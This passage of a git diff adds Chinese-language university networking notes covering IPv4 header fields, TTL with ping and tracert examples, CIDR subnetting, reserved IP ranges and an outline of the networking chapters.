+对于第一个问题，引入了 Flags（标志位）, Flags 里有三个 Flag，其中最后一位的意义是“后面还有更多分片“，这就相当于告诉服务器，你要继续等待接收其他分片。而当最后的分片抵达时，服务器在知道这是最后的分片的同时，他也能从这个分片的 Fragment Offset 里得知前面应该有多少数据，如果缺失，服务器也能继续等待接收。
+
+关于 Flags 的其他两位，最高位是目前保留不使用，永远为 0。后面那位的意义是不要分片，这一般是不设置的，他这句话是对传输过程中的路由设备讲的，因为如果途径 MTU 低于当前包长度的链路可能会进行二次分片。如果设置了这个 Flag，转发时再碰到 MTU 低的链路这种包会被直接丢弃同时返回一个 ICMP 包告诉源 IP 地址的设备发生了什么。
+
+## TTL(Time To Live)
+
+TTL 是一个 unsigned int，代表数据包的剩余生存时间，指的是数据包在互联网中还能转发多少时间，单位是秒。
+
+虽然单位是秒，但是一般情况下转发耗时是远远低于一秒的，根据 IP 协议的规定，无论转发耗时多少，TTL 应当至少 -1，所以在实践中 TTL 往往指的是转发了几次。
+
+一般发往互联网的数据包初始 TTL 为 64 或 128，你可以试试 ping 命令，他会显示一个 TTL，这是对面服务器回复的包到自己的设备的时候的 TTL。
+
+```powershell
+PS C:\Users\bs> ping baidu.com
+
+正在 Ping baidu.com [39.156.66.10] 具有 32 字节的数据:
+来自 39.156.66.10 的回复: 字节=32 时间=43ms TTL=47
+来自 39.156.66.10 的回复: 字节=32 时间=144ms TTL=47
+来自 39.156.66.10 的回复: 字节=32 时间=43ms TTL=47
+来自 39.156.66.10 的回复: 字节=32 时间=42ms TTL=47
+
+39.156.66.10 的 Ping 统计信息:
+    数据包: 已发送 = 4，已接收 = 4，丢失 = 0 (0% 丢失)，
+往返行程的估计时间(以毫秒为单位):
+    最短 = 42ms，最长 = 144ms，平均 = 68ms
+```
+
+TTL 减少到 0 的时候，这个数据包会被丢弃，所以如果互联网中出现路由配置错误，以至于产生了一个环，TTL 能够帮助数据包及时停止转发，避免事故扩大最终导致网络设施瘫痪。
+
+当路由设备由于 TTL 为 0，而丢弃这个数据包的时候，路由设备还会向源 IP 回复一个 `TTL超时`的 ICMP 报文
+
+```powershell
+PS C:\Users\bs> ping baidu.com -i 2
+
+正在 Ping baidu.com [39.156.66.10] 具有 32 字节的数据:
+来自 192.168.1.1 的回复: TTL 传输中过期。
+来自 192.168.1.1 的回复: TTL 传输中过期。
+来自 192.168.1.1 的回复: TTL 传输中过期。
+来自 192.168.1.1 的回复: TTL 传输中过期。
+
+39.156.66.10 的 Ping 统计信息:
+    数据包: 已发送 = 4，已接收 = 4，丢失 = 0 (0% 丢失)，
+```
+
+traceroute 就是利用这个性质来实现的，通过从 0 开始遍历 TTL 的方式，可以拿到转发过程中的所有路由器的 ICMP 回复，从这些回复中可以读取到这些路由器的 IP。
+
+当然 traceroute 不是万能的，真实互联网中广泛存在拦截，不响应，改写等等行为，会导致 traceroute 产生丢失或者藏跳等等比较迷惑的结果。
+
+```powershell
+PS C:\Users\bs> TRACERT.EXE bilibili.com
+
+通过最多 30 个跃点跟踪
+到 bilibili.com [8.134.50.24] 的路由:
+
+  1     8 ms    13 ms     2 ms  192.168.0.1 [192.168.0.1]
+  2     1 ms     1 ms     2 ms  192.168.1.1 [192.168.1.1]
+  3     8 ms     8 ms     *     100.66.0.1
+  4     *        *        *     请求超时。
+  5     *        *        *     请求超时。
+  6     *        *        *     请求超时。
+  7     *        *        *     请求超时。
+  8     *        *        8 ms  61.139.121.77
+  9     *        *        *     请求超时。
+ 10    78 ms     *        *     113.96.5.134
+ 11     *       83 ms    43 ms  121.14.50.241
+ 12    45 ms    42 ms    41 ms  121.14.24.82
+ 13     *        *        *     请求超时。
+ 14     *        *        *     请求超时。
+ 15     *        *        *     请求超时。
+ 16     *        *        *     请求超时。
+ 17    42 ms    50 ms    40 ms  8.134.50.24
+
+跟踪完成。
+```
+
+上面就是一个真实案例，有很多路由设备在丢弃数据包时并没有给出 ICMP 回复。
+
+## 协议
+
+协议（Protocol）指的是负载中的数据所使用的协议。这就很广泛了，比如
+
+- TCP
+
+- UDP
+
+- ICMP
+
+- Telnet
+
+- OSPF
+
+具体可以参考 [List of IP protocol numbers - Wikipedia](https://en.wikipedia.org/wiki/List_of_IP_protocol_numbers)
+
+## 头部校验和
+
+头部校验和（Header Checksum）用于检验传输的数据是否出错，一旦出错直接丢弃。
+
+在计算头部的校验和的时候，头部校验和这个字段会被置零，再使用特定算法计算得到校验和，填写到这个位置。
+
+这个校验和算法比较简单，就是头部以 16 bits 为单位，取补码再求和
+
+注意，由于 TTL 在每次转发中都会改变，所以实际上，每次转发都会重新计算校验和。
+
+## IP 地址
+
+正如上图的 `Source Address` 和 `Destination Address` 字段所展示的一样，一个 IP 地址占用 4 byte 的存储空间。在书面的写法上，我们用 `.` 将每一个 byte 分割开，例如 `1.1.1.1` 这样更便于人类处理和分类。
+
+有一些 IP 地址被用作特殊用途，除了这些 IP 地址外的地址都是公网 IP，一个公网 IP 在整个互联网范围内按照规范来说，只能由一台网络设备占有（也有例外，anycast）。但互联网是复杂的，也有人占用这些地址作为自己的内网地址（例如 tr069），这个由网络运维人员自行分析情景把握。
+
+网络地址的分类需要更多的前置知识，我们后续再介绍。
+
+## 可选项
+
+可选参数（Options）比较繁琐，一般没啥用，有兴趣的可以看看下面参考资料中 RFC 791 对此的描述。
+
+## 参考资料
+
+- [RFC 791 - Internet Protocol (ietf.org)](https://datatracker.ietf.org/doc/html/rfc791)
+- [Reserved IP addresses - Wikipedia](https://en.wikipedia.org/wiki/Reserved_IP_addresses)
+- [List of IP protocol numbers - Wikipedia](https://en.wikipedia.org/wiki/List_of_IP_protocol_numbers)
diff --git a/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3.2子网与无类域间路由.md b/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3.2子网与无类域间路由.md
new file mode 100644
index 0000000..32dc398
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3.2子网与无类域间路由.md
@@ -0,0 +1,147 @@
+# 子网与无类域间路由
+
+在上一篇文章中，我们详细讲解了 IP 数据包的结构。一个 IP 数据包确实非常复杂，但现在请你忘掉他，仅在需要的时候翻看相关文章做参考。
+
+你只需要知道一件事 —— IP 头里有一对 IP 地址，分别分别代表这个数据包从哪里来，到哪里去。
+
+在组成一个比较大的网络前，我们需要给一个个孤立的 IP 地址分类。给 IP 分类可以让维护路由表变得更简单，CIDR（无类域间路由）是一种非常良好的分类方法。
+
+## CIDR
+
+我们先看看什么地方会出现 CIDR 这个东西。如果你正在使用 Linux 操作系统，你可以输入命令`ip addr`，他会打印出一串大概这样的内容
+
+> windows 的 CIDR 采用点分十进制掩码，后续介绍
+
+``` bash
+baimeow@server:~$ ip addr
+1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
+    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
+    inet 127.0.0.1/8 scope host lo
+       valid_lft forever preferred_lft forever
+    inet6 ::1/128 scope host
+       valid_lft forever preferred_lft forever
+2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
+    link/ether bf:17:21:ab:44:ba brd ff:ff:ff:ff:ff:ff
+    inet 192.168.1.12/24 metric 100 brd 192.168.1.255 scope global dynamic ens18
+       valid_lft 2458sec preferred_lft 2458sec
+    inet6 fe80::bc57:71ff:febb:24b0/64 scope link
+       valid_lft forever preferred_lft forever
+```
+
+其中有 4 个 CIDR，分别是 `127.0.0.1/8` `::1/128` `192.168.1.12/24` `fe80::bc57:71ff:febb:24b0/64`我们以 `192.168.1.12/24`为例。
+
+他由一个 IP 地址和一个数字组成，中间用正斜杠分割，IP 地址就是你的设备的 IP，这没有什么特别特殊的。而后面的这个 24 是掩码。这其实表达了很多层意思：
+
+- 设备 IP 是 `192.168.1.12`
+
+- 网络号是 `192.168.1.0`
+
+- 掩码是 24
+
+- 广播地址是 `192.168.1.255`
+
+- 这个 IP 所在的子网拥有的范围的是 `192.168.1.0` - `192.168.1.255`
+
+- 这个 IP 所在的子网可以分配的 IP 范围的是 `192.168.1.1` - `192.168.1.254`
+
+为了理解上面这些东西都是怎么来的，我们需要理解这个掩码是如何作用在 IP 上的，我们先把 IP 地址写成二进制的格式（点分二进制）
+
+`192.168.1.12` -> `11000000.10101000.00000001.00001100`
+
+目前，我们的这个掩码值为 24，他的意思是把 IP 地址分成，前 24 位，剩下的 8 位，这两部分，被切除的部分用 0 来填充，于是我们得到了
+
+- 网络号`11000000.10101000.00000001.00000000` -> `192.168.1.0`
+
+- 主机号`00000000.00000000.00000000.00001100` -> `0.0.0.12`
+
+这里由于 /24 刚刚好切到了点上，所以就被非常直观地分成了这样两部分。
+
+在 CIDR 的规则中，将拥有同样的网络号和同样的掩码的 IP 的集合作为一个子网。比如网络号为`192.168.1.0`，掩码为 24 的所有 IP 就是 `192.168.1.0` - `192.168.1.255`这些个 IP，他们都在`192.168.1.0/24`这个子网里。
+
+注意，“子网”并不是一个非常抽象或者特殊的概念，他只是从互联网这张大网里取了一段 IP 地址构成子网，就像集合的子集一样。只是我们现在正在使用 CIDR 的规则去划分子网，遵循着 CIDR 的规则用一个网络号和掩码去划分出这样一段 IP。
+
+在这样的一个子网里，我们定义：
+
+- 第一个地址是网络地址
+- 最后一个地址是广播地址
+- 剩下的地址可以分配给网络内的设备
+
+以上定义是默认行为，其实是可以修改的，比如广播地址就可以不是最后一个地址。
+
+严格意义上说，上面提到的子网一部分应该改称呼为网段，简单起见不细究了。
+
+## 常见保留 IP
+
+了解一下常见的保留 IP 吧，这些保留 IP 不会出现在公网，而是被用于其他特殊用途。
+
+让我抄一下 Wiki 的表格。
+
+| 地址块 ([CIDR](https://zh.wikipedia.org/wiki/无类别域间路由)) |             范围              |   地址数    |  效用域  |                             用途                             |
+| :----------------------------------------------------------: | :---------------------------: | :---------: | :------: | :----------------------------------------------------------: |
+|                          0.0.0.0/8                           |    0.0.0.0 – 0.255.255.255    | 16,777,216  |   软件   | 用于广播信息到当前主机。[[1]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-1) |
+|                          10.0.0.0/8                          |   10.0.0.0 – 10.255.255.255   | 16,777,216  | 专用网络 | 用于[专用网络](https://zh.wikipedia.org/wiki/专用网络)中的本地通信。[[2]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-rfc1918-2) |
+|                        100.64.0.0/10                         | 100.64.0.0 – 100.127.255.255  |  4,194,304  | 专用网络 | 用于在[电信级 NAT](https://zh.wikipedia.org/wiki/电信级NAT)环境中服务提供商与其用户通信。[[3]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-3) |
+|                         127.0.0.0/8                          |  127.0.0.0 – 127.255.255.255  | 16,777,216  |   主机   | 用于到本地主机的[环回地址](https://zh.wikipedia.org/wiki/IPv4#环回地址（Loopback_Address）)。[[4]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-4) |
+|                        169.254.0.0/16                        | 169.254.0.0 – 169.254.255.255 |   65,536    |   链路   | 用于单链路的两个主机之间的[链路本地地址](https://zh.wikipedia.org/wiki/链路本地地址)，而没有另外指定 IP 地址，例如通常从[DHCP](https://zh.wikipedia.org/wiki/动态主机设置协议)服务器所检索到的 IP 地址。[[5]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-5) |
+|                        172.16.0.0/12                         |  172.16.0.0 – 172.31.255.255  |  1,048,576  | 专用网络 | 用于[专用网络](https://zh.wikipedia.org/wiki/专用网络)中的本地通信。[[2]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-rfc1918-2) |
+|                         192.0.0.0/24                         |    192.0.0.0 – 192.0.0.255    |     256     | 专用网络 | 用于 IANA 的 IPv4 特殊用途地址表。[[6]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-rfc5736-6) |
+|                         192.0.2.0/24                         |    192.0.2.0 – 192.0.2.255    |     256     |   文档   | 分配为用于文档和示例中的“TEST-NET”（测试网），它不应该被公开使用。[[7]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-rfc5737-7) |
+|                        192.88.99.0/24                        |  192.88.99.0 – 192.88.99.255  |     256     |  互联网  | 用于[6to4](https://zh.wikipedia.org/wiki/6to4)[任播](https://zh.wikipedia.org/wiki/任播)中继。[[8]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-8)（已废弃[[9]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-rfc7526-9)） |
+|                        192.168.0.0/16                        | 192.168.0.0 – 192.168.255.255 |   65,536    | 专用网络 | 用于[专用网络](https://zh.wikipedia.org/wiki/专用网络)中的本地通信。[[2]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-rfc1918-2) |
+|                        198.18.0.0/15                         |  198.18.0.0 – 198.19.255.255  |   131,072   | 专用网络 | 用于测试两个不同的子网的网间通信。[[10]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-10) |
+|                       198.51.100.0/24                        | 198.51.100.0 – 198.51.100.255 |     256     |   文档   | 分配为用于文档和示例中的“TEST-NET-2”（测试 - 网 -2），它不应该被公开使用。[[7]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-rfc5737-7) |
+|                        203.0.113.0/24                        |  203.0.113.0 – 203.0.113.255  |     256     |   文档   | 分配为用于文档和示例中的“TEST-NET-3”（测试 - 网 -3），它不应该被公开使用。[[7]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-rfc5737-7) |
+|                         224.0.0.0/4                          |  224.0.0.0 – 239.255.255.255  | 268,435,456 |  互联网  | 用于多播。[[11]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-rfc1112-11) |
+|                        233.252.0.0/24                        |  233.252.0.0 - 233.252.0.255  |     256     |   文档   | 分配为用于文档和示例中的“MCAST-TEST-NET”，它不应该被公开使用 |
+|                         240.0.0.0/4                          |  240.0.0.0 – 255.255.255.254  | 268,435,455 |  互联网  | 用于将来使用。[[12]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-rfc6890-12) |
+|                      255.255.255.255/32                      |        255.255.255.255        |      1      |   子网   | 用于受限广播地址。[[12]](https://zh.wikipedia.org/wiki/保留IP地址#cite_note-rfc6890-12) |
+
+如果需要搭建自己的比如说家庭网络，寝室网络，一般会选择
+
+- `10.0.0.0/8`
+- `192.168.0.0/16`
+- `172.16.0.0/12`
+
+此外另外了解一下其他的特殊地址，避免冲突吧
+
+- `169.254.0.0/16` DHCP 获取到 IP 前的临时 IP 地址
+- `192.18.0.0/16` 一些代理软件的透明代理模式会解析域名到这里
+- `172.17.0.0/16` Docker 默认网段
+
+## 旧闻一则 —— ABCDE 类 IP
+
+很久很久以前，一群自大的人给 IP 随意地划分了 ABCDE 类。很遗憾，我们仍需要了解一下这个历史包袱。
+
+- A 类 0.0.0.0~126.255.255.255 大型网络
+
+- B 类 128.0.0.0~191.255.255.255 中型网络
+
+- C 类 192.0.0.0~223.255.255.255 小型网络
+
+- D 类 224.0.0.1-239.255.255.254 多播
+
+- E 类 240.0.0.0---255.255.255.255 保留段与广播地址
+
+仅作了解，现今已经不具有实际意义了
+
+## 正在消失的 —— 点分 10 进制掩码
+
+当你在 windows 的 cmd 里执行 `ipconfig /all` 时，你可以看到一个点分十进制的掩码。
+
+```cmd
+无线局域网适配器 WLAN:
+
+   连接特定的 DNS 后缀 . . . . . . . :
+   描述. . . . . . . . . . . . . . . : Intel(R) Wi-Fi 6 AX200 160MHz
+   IPv4 地址 . . . . . . . . . . . . : 192.168.0.102(首选)
+   子网掩码  . . . . . . . . . . . . : 255.255.255.0
+   获得租约的时间  . . . . . . . . . : 2023年8月20日 19:49:53
+   租约过期的时间  . . . . . . . . . : 2023年8月21日 00:49:56
+   默认网关. . . . . . . . . . . . . : 192.168.0.1
+```
+
+上面的子网掩码是 `255.255.255.0`,其实就是`/24`
+
+这种格式其实表达的信息更灵活，你可以在掩码的时候掩住前面一段后面一段，中间留一段做主机号，这是没有问题的。
+
+问题在于有点过度设计的了，随意地掩盖住几位只会让网络运维人员心烦，久而久之用的越来越少，就算是用，也只会顺序掩盖前面几位，其实目前碰到的大多数这种格式的掩码他传达的信息 CIDR 也是可以表述的。了解一下，至少目前还是有很多人用这个写法的掩码的。
diff --git a/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3网络层.md b/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3网络层.md
new file mode 100644
index 0000000..4adb258
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3网络层.md
@@ -0,0 +1,17 @@
+# 9.2.3 网络层
+
+> Author: 柏喵樱
+>
+> copyright reserved
+
+本章节是网络层的开篇章节，我们先做两个约定：
+
+- 没有提及 IP 协议版本，都是 IPv4（IPv6 会单独介绍不详细展开）
+
+- 路由表已经配置好了，给 IP 地址就能发到正确的地方（路由技术参照“路由与交换”章节）
+
+以上两个约定适用于所有网络层章节。
+
+在链路层我们已经实现了两个直接相连的设备之间的数据收发，也可以在总线类型的网络上完成数据手法，更成熟一点，可以借助交换机来构建一个具有一定规模的中心化网络。
+
+但中心化是有极限的，这必然无法承载这个整个互联网，因此，我们需要再往上一层，定义一个新的概念，IP 地址，并完成实现数据包的转发操作，将互联网推向去中心化。
diff --git a/技术资源汇总(杭电支持版)/9.计算机网络/9.3路由与交换.md b/技术资源汇总(杭电支持版)/9.计算机网络/9.3路由与交换.md
new file mode 100644
index 0000000..3120827
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/9.计算机网络/9.3路由与交换.md
@@ -0,0 +1 @@
+# 9.3 路由与交换
diff --git a/技术资源汇总(杭电支持版)/9.计算机网络/9.4隧道和代理.md b/技术资源汇总(杭电支持版)/9.计算机网络/9.4隧道和代理.md
new file mode 100644
index 0000000..e65f14b
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/9.计算机网络/9.4隧道和代理.md
@@ -0,0 +1 @@
+# 9.4 隧道和代理
diff --git a/技术资源汇总(杭电支持版)/9.计算机网络/9.5路由佬入门指南.md b/技术资源汇总(杭电支持版)/9.计算机网络/9.5路由佬入门指南.md
new file mode 100644
index 0000000..23a0c8b
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/9.计算机网络/9.5路由佬入门指南.md
@@ -0,0 +1 @@
+# 9.5 路由佬入门指南
diff --git a/技术资源汇总(杭电支持版)/9.计算机网络/9.计算机网络.md b/技术资源汇总(杭电支持版)/9.计算机网络/9.计算机网络.md
new file mode 100644
index 0000000..550716e
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/9.计算机网络/9.计算机网络.md
@@ -0,0 +1,112 @@
+# 9.计算机网络
+
+> 本模块来自 DN11(Decentralized Network 11) 成员倾情奉献，DN11 最初在生活区 11 号楼群中提出，旨在建立一个跨寝室的大内网。经过一年的发展，已经成为了横跨 11 号楼，VidarTeam，杭电助手等群体的中型实验性网络。
+
+计算机网络无非一句话，将所有计算机设备连起来。
+
+但，跨越全球的网络是何其的庞大，能够将他们连起来是一项巨大的工程。我可以说：Internet 是人类这近 50 年来最伟大的工程。
+
+本讲义的计算机网络部分共分为 5 个章节
+
+## 计算机网络速通
+
+虽然名字看起来像是考前抱佛脚的章节，但他速通的并不是计网这一课程，是做简单 Web 开发所必须具备的计网知识。
+
+在这个章节，我们会讨论到计算机网络的应用层和传输层，重点介绍一些应用层协议。对于传输层，我们只讨论他为 Web 开发提供了怎样的接口或者说功能。
+
+上面提到“应用层和传输层”，或许你现在还不知道计算机网络的五层结构（也有其他划分，但是该划分利于学习），这也没关系，在本章节，可以暂时也不需要知道。
+
+计算机网络这一课程其实往往并不太会涉及到这一块内容，或许网络开发一类的选修课程会讲解这一部分内容。
+
+## 计算机网络基础
+
+这里是计算机网络课程的重点内容，并且适当地做出一些拓展，使其更贴近于现行互联网，尽量让大家对计算机网络拥有一个完整且合理自洽的知识图谱。
+
+写这篇讲义的我本人非常注重知识的自洽，就比如说计网的整个体系，他确实很庞大也需要这么庞大来解决全球的网络问题。
+
+我认为如果你的知识并不能够自洽，那么在你的脑海中这其实就是异常的，不自然的，需要拐弯子才能想明白的。反之，在你的脑海中自洽的知识你是很容易理清其中逻辑的而且不容易忘，因为此时你会觉得“他就该这样，不然呢？”。
+
+在这个章节我们会从物理层开始自底向上地介绍计算机网络，直到讲解完传输层，自底向上是符合历史逻辑的，得先有下层的支持才会有上层。
+
+## 路由与交换
+
+路由与交换的理论知识，并不涉及实践主要应付考试，但为了追求知识体系完整，会比考试内容稍多，但都是理解性质的。其实大家一般也没这个需求，除非专门做运维或者类似方向的开发，大伙都不需要了解具体怎么搭建网络，不会做过多的原理性讲解了。
+
+如果你确实有在真实世界中搭建网络的需求，请移步路由佬入门指南或者拿好你的设备并考虑加入 DN11。
+
+这里主要讨论一下路由器，交换机，各种路由协议和他们工作的位置，还有 NAT，最终把这些东西排排好，给大家一个完整的互联网模型（对比真实互联网做了一些简化，但该有的协议类型都会有）
+
+## 隧道和代理
+
+其实到现在一个理想化的互联网全图景已经差不多讲解完了，现在要正式完全脱离计算机网络这一课程的范畴了。
+
+隧道和代理也是计算机网络中重要的一部分，他们工作的比较高的层却提供着更低层次的功能（其实路由协议很多也这样）。
+
+前面讲解到，通过配置路由协议可以进行路由交换完成组网，但这仅仅可用于物理设备，如果两台路由器之间并没有网线的直接连接，那么我们的路由协议根本无法工作。
+
+其实真实互联网上充斥着这样的需求，比如异地组网之类的，隧道便应运而生，我们把原始数据包打包在另一个层次比较高的协议中进行传输，用高层的协议来模拟低层的协议。一条虚假的网线（其实不能和网线等价） —— 隧道便诞生了。
+
+代理部分会讲解正向和反向代理，正向代理其实就是一种“隧道”外加上访问目标主机的网络资源的能力，反向代理更多是 Web 开发带来的需求，比如常见的 nginx 反向代理。
+
+## 路由佬入门指南
+
+很多人不理解，不理解也罢。
+
+互联网不是一个很 cool 的东西吗？
+
+这是一个遍布全球由无数独立个体一个一个连接起来而形成的一张网，这难道不酷吗？
+
+在把网络配通的瞬间，所有的 ping 包返回了正确的响应，这难道不振奋人心吗？
+
+身在此却能设计出方案，访问到无比遥远的地方的资源，是难道没有意思吗？
+
+有这样的一个群体，我们普遍称呼他们为“路由佬”，他们便是这样一群，沉迷于配网的一群人。
+
+本章节存在的意义和前面的章节不同，并非是教学，而是劝人快去配网，非常重实践，上面讨论的都是简化模型，理想模型，学习模型，再往下就是实验性网络和真实互联网了，这其实已经脱离了该讲义的宗旨了，所以只会概述概述概述。
+
+## 画个饼先
+
+```mermaid
+    graph LR 
+        计算机网络 --> 计算机网络速通
+        计算机网络 --> 计算机网络基础
+        计算机网络 --> 路由与交换
+        计算机网络 --> 隧道与代理
+        计算机网络 --> 路由佬入门指南
+        计算机网络基础 ---> 物理层
+        计算机网络基础 ---> 链路层
+        计算机网络基础 ---> 网络层
+        计算机网络基础 ---> 传输层
+        计算机网络基础 ---> DNS与应用层概述
+        路由与交换 ---> 路由设备
+        路由与交换 ---> 路由协议
+        路由与交换 ---> NAT
+        路由与交换 ---> 真实互联网概述
+        隧道与代理 ---> GRE
+        隧道与代理 ---> WireGuard
+        隧道与代理 ---> L2TP/IPSec
+        隧道与代理 ---> 正向代理
+        隧道与代理 ---> 反向代理
+        路由佬入门指南 ---> openwrt/ikuai/ros/vyos介绍
+        路由佬入门指南 ---> 主路由,旁路由,单臂路由
+        路由佬入门指南 ---> 双节点异地组网
+        路由佬入门指南 ---> 多节点高可用网络概论
+        路由佬入门指南 ---> 大规模实验性网络概论
+        路由佬入门指南 ---> 走得更深入...
+        链路层 ---> 以太网
+        链路层 ---> ARP
+        网络层 ---> IP协议
+        网络层 ---> 子网与无类域间路由
+        网络层 ---> 路由
+        网络层 ---> IPv6概述
+        传输层 ---> 端口
+        传输层 ---> UDP
+        传输层 ---> TCP概述
+        传输层 ---> TCP握手挥手
+        传输层 ---> TCP滑动窗口
+        传输层 ---> TCP拥塞控制
+        路由协议 ---> RIP
+        路由协议 ---> OSPF
+        路由协议 ---> 自治域与BGP概述
+        
+```
diff --git a/技术资源汇总(杭电支持版)/9.计算机网络/static/dnspod-domain.png b/技术资源汇总(杭电支持版)/9.计算机网络/static/dnspod-domain.png
new file mode 100644
index 0000000..a53c11f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/9.计算机网络/static/dnspod-domain.png differ
diff --git a/技术资源汇总(杭电支持版)/内容索引.md b/技术资源汇总(杭电支持版)/内容索引.md
new file mode 100644
index 0000000..5e10ab6
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/内容索引.md
@@ -0,0 +1,10 @@
+# 内容索引
+
+---
+
+::: tip ❄
+
+← 本文左侧边栏展示的是2023年的旧版内容
+
+该栏目来源于杭电hdu-cs-wiki项目，感谢杭电开源支持！
+:::